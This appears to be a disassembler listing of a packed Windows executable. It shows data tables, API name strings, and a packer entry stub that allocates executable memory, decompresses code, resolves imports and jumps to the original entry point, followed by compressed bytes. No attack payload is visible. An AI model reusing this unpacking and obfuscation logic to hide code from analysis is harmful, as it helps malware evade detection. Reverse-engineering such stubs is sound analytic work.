dword_482080	dd 0			; DATA XREF: sub_415A63r sub_415A63+Ew
dword_482084	dd 0			; DATA XREF: sub_416004+3r
					; sub_416004+2Ew ...
dword_482088	dd 0			; DATA XREF: sub_416004+43w
					; sub_416004:loc_416053r
dword_48208C	dd 0			; DATA XREF: sub_416004+4Aw
					; sub_416004+60r
dword_482090	dd 0			; DATA XREF: sub_416A9B:loc_416B02r
					; sub_416A9B+6Do
dword_482094	dd 0			; DATA XREF: sub_416A9B:loc_416AD9r
					; sub_416A9B+44o
dword_482098	dd 0			; DATA XREF: sub_416A9B:loc_416ACCr
					; sub_416A9B+37o
dword_48209C	dd 0			; DATA XREF: sub_416A9B:loc_416AE6r
					; sub_416A9B+51o
		dd 0
dword_4820A4	dd 0			; DATA XREF: sub_4157AA+3Fr
dword_4820A8	dd 0			; DATA XREF: sub_41718F+28r
					; sub_41718F+48w ...
byte_4820AC	db 1			; DATA XREF: sub_402951r sub_402951+9w ...
		align 10h
dword_4820B0	dd 341110h		; DATA XREF: sub_412D3C:loc_412D4Dr
					; sub_4131E8+14r ...
		align 10h
dword_4820C0	dd 400h	dup(0)		; DATA XREF: .nsp0:off_422390o
					; .nsp0:00422398o
dword_4830C0	dd 200h			; DATA XREF: sub_412D3C+9r
					; sub_412D3C+56r ...
		dd 7 dup(0)
dword_4830E0	dd 340650h		; DATA XREF: sub_40ECC3+B1r
					; sub_412DA9+75r ...
dword_4830E4	dd 3Fh dup(0)		; DATA XREF: sub_4143B3+92o
dword_4831E0	dd 20h			; DATA XREF: sub_412BBE+8r
					; sub_412E82+Cr ...
dword_4831E4	dd 4E4h			; DATA XREF: sub_413679+14r
					; sub_413679+65w ...
		align 10h
dword_4831F0	dd 3 dup(0)		; DATA XREF: sub_413679+123o
					; sub_413679+171o ...
dword_4831FC	dd 0			; DATA XREF: sub_413679+108w
					; sub_413679+15Dw ...
byte_483200	db 0			; DATA XREF: sub_4138B8:loc_4139C4w
					; sub_4138B8:loc_4139E1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_483300	db 0			; DATA XREF: sub_413679+5Co
					; sub_413679+AFo ...
byte_483301	db 0			; DATA XREF: sub_40E887+5Dr
					; sub_413679+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_483404	dd 0			; DATA XREF: sub_413679+6Ew
					; sub_413679+12Bw ...
dword_483408	dd 0			; DATA XREF: sub_410280+3Cw
					; sub_410925+5r ...
dword_48340C	dd 0			; DATA XREF: sub_4102F3+23Ar
					; sub_4102F3+25Ar ...
dword_483410	dd 0			; DATA XREF: sub_410280+31w
					; sub_4102F3+311w ...
dword_483414	dd 0			; DATA XREF: sub_410280+21w
					; sub_4102F3+22Dr ...
dword_483418	dd 0			; DATA XREF: sub_410280+28w
					; sub_4102C8r ...
dword_48341C	dd 0			; DATA XREF: sub_410280+15w
					; sub_4102C8+8r ...
dword_483420	dd 0			; DATA XREF: sub_40CD0D+Fr
					; sub_40DB08+5Cr ...
dword_483424	dd 340000h		; DATA XREF: sub_40CD0D+66r
					; sub_40CD81+5Ar ...
dword_483428	dd 1			; DATA XREF: sub_40CD0Dr sub_40CD81+Cr ...
dword_48342C	dd 142340h		; DATA XREF: sub_40EB84+7Aw
					; sub_413F23+Fr ...
dword_483430	dd 1			; DATA XREF: sub_413F7B+ADw
					; sub_416D53r
dword_483434	dd 1			; DATA XREF: sub_413A3Dr
					; sub_413A3D+11w ...
dword_483438	dd 340764h		; DATA XREF: sub_40D7A3+13r
					; sub_40D7A3:loc_40D7E5r ...
dword_48343C	dd 340758h		; DATA XREF: sub_40D7A3+1r
					; sub_40D7A3+Cr ...
byte_483440	db 1			; DATA XREF: sub_417A34+15r
					; sub_417A34+1Ew
		align 4
		dd 2EFh	dup(0)
		dd 71h,	0
		dd 18000h, 0D02E683Ch, 662EF992h, 0E79C6CEBh, 0E1313D06h
		dd 99377DE6h, 1A1F0049h, 0FC897506h, 63B8B55Bh,	0D8FC378Ch
		dd 146093FDh, 9776906Fh, 96D9E21Ah, 0CE2434ABh,	0B7B4904Ch
		dd 56289D57h, 0FEC45B13h, 0EB06061Ah, 2F3E97F8h, 387A083Dh
		dd 260B5E86h, 6960A34h,	0F90582F2h, 81033F9Fh, 2E1B184h
		dd 1577E677h, 2100h, 0D00h, 1818400h, 5ADA3600h, 0F88DE2CEh
		dd 908D5D46h, 90F4226Dh, 71AB1B7Bh, 5, 3 dup(0)
		dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 45746553h
		dd 7269766Eh, 656D6E6Fh, 6156746Eh, 62616972h, 4341656Ch
		dd 61706D6Fh, 74536572h, 676E6972h, 6D6F4357h, 65726170h
		dd 69727453h, 5341676Eh, 6E457465h, 46664F64h, 46656C69h
		dd 6873756Ch, 656C6946h, 66667542h, 53737265h, 74537465h
		dd 6E614864h, 47656C64h, 74537465h, 676E6972h, 65707954h
		dd 74654757h, 69727453h, 7954676Eh, 49416570h, 64614273h
		dd 65646F43h, 49727450h, 64614273h, 64616552h, 53727450h
		dd 6E557465h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h
		dd 746C6946h, 65477265h, 6C694674h, 70795465h, 74654765h
		dd 48647453h, 6C646E61h, 74655365h, 646E6148h, 6F43656Ch
		dd 47746E75h, 6E457465h, 6F726976h, 6E656D6Eh, 72745374h
		dd 73676E69h, 656C5357h, 65477065h, 73614C74h, 72724574h
		dd 7243726Fh, 65746165h, 65726854h, 65476461h, 646F4D74h
		dd 46656C75h, 4E656C69h, 41656D61h, 74697845h, 65726854h
		dd 654C6461h, 43657661h, 69746972h, 536C6163h, 69746365h
		dd 6E456E6Fh, 43726574h, 69746972h, 536C6163h, 69746365h
		dd 65476E6Fh, 63695474h, 756F436Bh, 6E49746Eh, 61697469h
		dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 416E6F69h
		dd 7053646Eh, 6F436E69h, 44746E75h, 74656C65h, 69724365h
		dd 61636974h, 6365536Ch, 6E6F6974h, 4C746547h, 6C61636Fh
		dd 656D6954h, 72657551h, 72655079h, 6D726F66h, 65636E61h
		dd 6E756F43h, 51726574h, 79726575h, 66726550h, 616D726Fh
		dd 4665636Eh, 75716572h, 79636E65h, 74697845h, 636F7250h
		dd 43737365h, 74616572h, 6F725065h, 73736563h, 6F6C4341h
		dd 61486573h, 656C646Eh, 74697257h, 6C694665h, 65724365h
		dd 46657461h, 41656C69h, 53746547h, 65747379h, 7269446Dh
		dd 6F746365h, 4C417972h, 4C64616Fh, 61726269h, 47417972h
		dd 72507465h, 6441636Fh, 73657264h, 74654773h, 75646F4Dh
		dd 6148656Ch, 656C646Eh, 726F4641h, 4D74616Dh, 61737365h
		dd 47416567h, 61626F6Ch, 6C6E556Ch, 476B636Fh, 61626F6Ch
		dd 636F4C6Ch, 6D6E556Bh, 69567061h, 664F7765h, 656C6946h
		dd 5670614Dh, 4F776569h, 6C694666h, 65724365h, 46657461h
		dd 4D656C69h, 69707061h, 5341676Eh, 69467465h, 6954656Ch
		dd 6547656Dh, 6C694674h, 6D695465h, 70784565h, 45646E61h
		dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 65534173h
		dd 6C694674h, 74744165h, 75626972h, 41736574h, 46746547h
		dd 41656C69h, 69727474h, 65747562h, 65474173h, 6D655474h
		dd 74615070h, 69574168h, 68436564h, 6F547261h, 746C754Dh
		dd 74794269h, 6C754D65h, 79426974h, 6F546574h, 65646957h
		dd 72616843h, 43746547h, 75706D6Fh, 4E726574h, 41656D61h
		dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 72655473h
		dd 616E696Dh, 72506574h, 7365636Fh, 65704F73h, 6F72506Eh
		dd 73736563h, 56746547h, 69737265h, 78456E6Fh, 74654741h
		dd 69676F4Ch, 446C6163h, 65766972h, 6C654473h, 46657465h
		dd 41656C69h, 43746547h, 65727275h, 7250746Eh, 7365636Fh
		dd 43644973h, 4679706Fh, 41656C69h, 74696157h, 53726F46h
		dd 6C676E69h, 6A624F65h, 43746365h, 74616572h, 74754D65h
		dd 4D417865h, 4665766Fh, 41656C69h, 626F6C47h, 654D6C61h
		dd 79726F6Dh, 74617453h, 65477375h, 6D695474h, 726F4665h
		dd 4174616Dh, 44746547h, 46657461h, 616D726Fh, 65544174h
		dd 6E696D72h, 54657461h, 61657268h, 61654864h, 6C6C4170h
		dd 6548636Fh, 72467061h, 74526565h, 776E556Ch, 48646E69h
		dd 52706165h, 6C6C4165h, 6547636Fh, 6D695474h, 6E6F5A65h
		dd 666E4965h, 616D726Fh, 6E6F6974h, 53746547h, 65747379h
		dd 6D69546Dh, 74654765h, 72617453h, 49707574h, 416F666Eh
		dd 43746547h, 616D6D6Fh, 694C646Eh, 4741656Eh, 65567465h
		dd 6F697372h, 7465476Eh, 69766E45h, 6D6E6F72h, 56746E65h
		dd 61697261h, 41656C62h, 70616548h, 74736544h, 48796F72h
		dd 43706165h, 74616572h, 72695665h, 6C617574h, 65657246h
		dd 74726956h, 416C6175h, 636F6C6Ch, 61427349h, 69725764h
		dd 74506574h, 69615272h, 78456573h, 74706563h, 486E6F69h
		dd 53706165h, 52657A69h, 46646165h, 4C656C69h, 70614D43h
		dd 69727453h, 4C41676Eh, 70614D43h, 69727453h, 4757676Eh
		dd 50437465h, 6F666E49h, 41746547h, 65475043h, 4D454F74h
		dd 65535043h, 6C694674h, 696F5065h, 7265746Eh, 61686E55h
		dd 656C646Eh, 63784564h, 69747065h, 69466E6Fh, 7265746Ch
		dd 65657246h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h
		dd 46417367h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh
		dd 676E6972h, 65475773h, 766E4574h, 6E6F7269h, 746E656Dh
		dd 69727453h, 0FF73676Eh, 80000074h, 73FFh, 0AFF80h, 2FF8000h
		dd 0FF800000h, 8000000Dh, 1FFh,	0BFF80h, 9FF8000h, 0FF800000h
		dd 80000004h, 15FFh, 10FF80h, 3FF8000h,	0FF800000h, 80000017h
		dd 13FFh, 12FF80h, 97FF8000h, 800000h, 264h dup(0)
_nsp0		ends

; Section 2. (virtual address 00085000)
; Virtual size			: 00010000 (  65536.)
; Section size in file		: 00010000 (  65536.)
; Offset to raw	data for section: 00085000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 485000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 84000h, 0
		dd 40h,	0
		dd 71AB0000h, 7	dup(0)
		dd 340000h, 0
		dd offset sub_401000
		align 8
		dd 86Ah, 0
		dd 111h, 6 dup(0)
		dd 2, 168h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 0ECE1h, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
		dd 77E75CB5h, 0
		dd 71AB1836h, 4	dup(0)
		dd 850FCh, 8509Ch, 3 dup(0)
		dd 85109h, 850B8h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
		dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h
		dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h
		dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h
		dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h
		dd 636F7250h, 737365h, 20020000h, 0
		dd 16Eh, 2000010h, 0E8000000h, 19h, 4B000180h, 1C9F8968h
; ---------------------------------------------------------------------------
		scasb
		mov	gs, si

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 00485553 SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-117h]
		cmp	byte ptr [ecx],	1
		jz	loc_4853EF
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-183h]
		mov	[ebp-183h], eax
		add	[ebp-153h], eax
		lea	esi, [ebp-10Fh]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0EBh]
		test	eax, eax
		jz	loc_485553
		mov	[ebp-15Bh], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_4854B4
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-193h]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_485221
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_485237
; ---------------------------------------------------------------------------


loc_485221:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_48522B:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_485264
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_485237:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-0E7h]
		push	dword ptr [ebp-0EBh]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-15Bh]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_485264
		add	ebx, 8
		jmp	short loc_48522B
; ---------------------------------------------------------------------------


loc_485264:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-15Bh]
		call	dword ptr [ebp-0E7h]
		lea	esi, [ebp-153h]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_4852CB


loc_48528C:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_485291:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_48528C
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_4852B1
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_48528C
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_4852BB
; ---------------------------------------------------------------------------


loc_4852B1:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_4852BB:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_485291


loc_4852CB:				; CODE XREF: start+F7j
		call	sub_48540A
		lea	ecx, [ebp-13Fh]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_485363
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_485363
		mov	[ecx+10h], esi
		lea	esi, [ebp-10Fh]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_485308
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_485310
; ---------------------------------------------------------------------------


loc_485308:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_485310:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_485339
		cmp	al, 0EFh
		ja	short loc_485323


loc_48531D:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_485310
; ---------------------------------------------------------------------------


loc_485323:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_48531D
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_48531D
; ---------------------------------------------------------------------------


loc_485339:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_485363


loc_485344:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_485351
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_485344
; ---------------------------------------------------------------------------


loc_485351:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h


loc_485356:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_485363
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_485356
; ---------------------------------------------------------------------------


loc_485363:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-183h]
		mov	edx, [esi]
		lea	esi, [ebp-127h]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_4853B6
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-0EFh]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_485553
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-0EFh]


loc_4853B6:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 21h
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_4853EF
		inc	ebx
		lea	esi, [ebp-183h]
		mov	edx, [esi]


loc_4853D0:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-0EFh]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_4853D0


loc_4853EF:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_485403
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_485403:				; CODE XREF: start+264j
		popa
		popf
		jmp	sub_40EB84
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_48540A	proc near		; CODE XREF: start:loc_4852CBp
		mov	esi, [ebp-18Bh]
		or	esi, esi
		jz	loc_4854AF
		mov	edx, [ebp-183h]
		add	esi, edx


loc_485420:				; CODE XREF: sub_48540A+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_485433
		cmp	dword ptr [esi+4], 0
		jnz	short loc_485433
		cmp	dword ptr [esi+8], 0
		jnz	short loc_485433
		jmp	short loc_4854AD
; ---------------------------------------------------------------------------


loc_485433:				; CODE XREF: sub_48540A+19j
					; sub_48540A+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-97h]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-0F7h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_4854AF
		mov	[ebp-17Bh], eax
		add	edi, [esi]
		add	esi, 4


loc_485461:				; CODE XREF: sub_48540A+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_48546D
		inc	esi
		jmp	short loc_485420
; ---------------------------------------------------------------------------


loc_48546D:				; CODE XREF: sub_48540A+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_485481
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_485481:				; CODE XREF: sub_48540A+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-17Bh]
		call	dword ptr [ebp-0F3h]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_4854AF
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_485461
; ---------------------------------------------------------------------------


loc_4854AD:				; CODE XREF: sub_48540A+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_4854AF:				; CODE XREF: sub_48540A+8j
					; sub_48540A+4Aj ...
		jmp	loc_485553
sub_48540A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4854B4	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0048554F SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_4854C0:				; CODE XREF: sub_4854B4+12j
		movsb


loc_4854C1:				; CODE XREF: sub_4854B4+34j
					; sub_4854B4+7Dj
		call	sub_485533
		jnb	short loc_4854C0
		xor	ecx, ecx
		call	sub_485533
		jnb	short loc_4854EA
		xor	eax, eax
		call	sub_485533
		jnb	short loc_4854FB
		mov	al, 10h


loc_4854DC:				; CODE XREF: sub_4854B4+2Fj
		call	sub_485533
		adc	al, al
		jnb	short loc_4854DC
		jnz	short loc_485528
		stosb
		jmp	short loc_4854C1
; ---------------------------------------------------------------------------


loc_4854EA:				; CODE XREF: sub_4854B4+1Bj
		call	sub_48553F
		dec	ecx
		loop	loc_485507
		mov	eax, ebp
		call	sub_48553D
		jmp	short loc_485529
; ---------------------------------------------------------------------------


loc_4854FB:				; CODE XREF: sub_4854B4+24j
		lodsb
		shr	eax, 1
		jz	short loc_48554F
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_485529
; ---------------------------------------------------------------------------


loc_485507:				; CODE XREF: sub_4854B4+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_48553D
		cmp	eax, 7D00h
		jnb	short loc_485527
		cmp	eax, 500h
		jnb	short loc_485528
		cmp	eax, 7Fh
		ja	short loc_485529


loc_485527:				; CODE XREF: sub_4854B4+65j
		inc	ecx


loc_485528:				; CODE XREF: sub_4854B4+31j
					; sub_4854B4+6Cj
		inc	ecx


loc_485529:				; CODE XREF: sub_4854B4+45j
					; sub_4854B4+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4854C1
sub_4854B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_485533	proc near		; CODE XREF: sub_4854B4:loc_4854C1p
					; sub_4854B4+16p ...
		add	dl, dl
		jnz	short locret_48553C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_48553C:				; CODE XREF: sub_485533+2j
		retn
sub_485533	endp


; =============== S U B	R O U T	I N E =======================================



sub_48553D	proc near		; CODE XREF: sub_4854B4+40p
					; sub_4854B4+5Bp
		xor	ecx, ecx
sub_48553D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_48553F	proc near		; CODE XREF: sub_4854B4:loc_4854EAp
		inc	ecx


loc_485540:				; CODE XREF: sub_48553F+Dj
		call	sub_485533
		adc	ecx, ecx
		call	sub_485533
		jb	short loc_485540
		retn
sub_48553F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4854B4


loc_48554F:				; CODE XREF: sub_4854B4+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4854B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_485553:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-0E3h]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_48556F
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------


loc_48556F:				; CODE XREF: .nsp1:00485563j
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_48559E
; ---------------------------------------------------------------------------
		db 58h
		dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
		db 0C1h, 0E2h
; ---------------------------------------------------------------------------


loc_48559E:				; CODE XREF: .nsp1:0048558Dj
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		db 89h
		dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
		dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh,	1D83E82Bh
		dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
		dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh,	4F97F28Ch
		dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
		dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
		dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
		dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
		dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
		dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh,	0E8DB8594h
		dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
		dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
		dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h,	0D98BC97Dh
		dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
		dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h,	61C98824h
		dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
		dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
		dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
		dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
		dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
		dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
		dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
		dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
		dd 6A11EB08h, 48EF840h,	0A213A102h, 0D2D2100Ch,	4ABE2C67h
		dd 813F938h, 41F1544Eh,	0C8030C4Dh, 70473324h, 52A4F1B8h
		dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
		dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h,	0DB325A05h
		dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh,	0E958020Dh
		dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
		dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h,	207D8EA3h
		dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
		dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h,	0FD446455h
		dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
		dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
		dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
		dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h,	8A1C9AF8h
		dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
		dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh,	0E894C233h
		dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
		dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
